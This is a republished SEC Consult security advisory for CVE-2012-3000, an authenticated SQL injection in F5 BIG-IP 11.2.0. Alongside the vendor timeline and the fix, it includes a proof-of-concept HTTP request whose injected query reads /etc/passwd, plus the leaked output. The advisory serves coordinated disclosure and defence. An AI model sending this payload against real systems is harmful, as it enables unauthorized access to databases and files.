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F5 BIG-IP 11.2.0 SQL Injection

F5 BIG-IP 11.2.0 SQL Injection
Posted Jan 22, 2013
Authored by S. Viehbock | Site sec-consult.com

F5 BIG-IP versions 11.2.0 and below suffer from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2012-3000
SHA-256 | 075964bff42decb58985c82a10aee244147936d50217dd3f3028ad2948fdffaf

F5 BIG-IP 11.2.0 SQL Injection

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SEC Consult Vulnerability Lab Security Advisory < 20130122-1 >
=======================================================================
title: SQL Injection
product: F5 BIG-IP
vulnerable version: <=11.2.0
fixed version: 11.2.0 HF3
11.2.1 HF3
CVE number: CVE-2012-3000
impact: Medium
homepage: http://www.f5.com/
found: 2012-09-03
by: S. Viehböck
SEC Consult Vulnerability Lab
https://www.sec-consult.com
=======================================================================

Vendor/product description:
---------------------------
"The BIG-IP product suite is a system of application delivery services that
work together on the same best-in-class hardware platform or software virtual
instance. From load balancing and service offloading to acceleration and
security, the BIG-IP system delivers agility—and ensures your applications
are fast, secure, and available."

URL: http://www.f5.com/products/big-ip/


Vulnerability overview/description:
-----------------------------------
A SQL injection vulnerability exists in a BIG-IP component. This enables an
authenticated attacker to access the MySQL database with the rights of MySQL
user "root" (= highest privileges).

Furthermore an attacker can access files in the file system with the rights of
the "mysql" OS user.


Proof of concept:
-----------------
The following exploit shows how files can be extracted from the file system:

POST /sam/admin/reports/php/saveSettings.php HTTP/1.1
Host: bigip
Cookie: BIGIPAuthCookie=*VALID_COOKIE*
Content-Length: 119

{
"id": 2,
"defaultQuery": "XX', ext1=(SELECT MID(LOAD_FILE('/etc/passwd'),0,60)) --
x" }

Note: target fields are only VARCHAR(60) thus MID() is used for extracting
data.

A request to /sam/admin/reports/php/getSettings.php returns the data:

HTTP/1.1 200 OK
...

{success:true,totalCount:1,rows:[{"id":"2","user":"admin","defaultQuery":"XX","ext1":"root:x:0:0:root:\/root:\/bin\/bash\nbin:x:1:1:bin:\/bin:\/sbin\/nol","ext2":""}]}



Vulnerable / tested versions:
-----------------------------
The vulnerability has been verified to exist in the F5 BIG-IP version 11.2.0.

Successful exploitation was possible with Application Security (ASM) or Access
Policy (APM) enabled.


Vendor contact timeline:
------------------------
2012-10-04: Sending advisory draft and proof of concept.
2012-11-21: Vendor announces that fix will be provided with 11.2.0 HF3 and
11.2.1 HF3.
2013-01-22: SEC Consult releases coordinated security advisory.


Solution:
---------
Update to 11.2.0 HF3 or 11.2.1 HF3.


Workaround:
-----------
No workaround available.


Advisory URL:
--------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Unternehmensberatung GmbH

Office Vienna
Mooslackengasse 17
A-1190 Vienna
Austria

Tel.: +43 / 1 / 890 30 43 - 0
Fax.: +43 / 1 / 890 30 43 - 25
Mail: research at sec-consult dot com
www.sec-consult.com


EOF S. Viehböck / @2013
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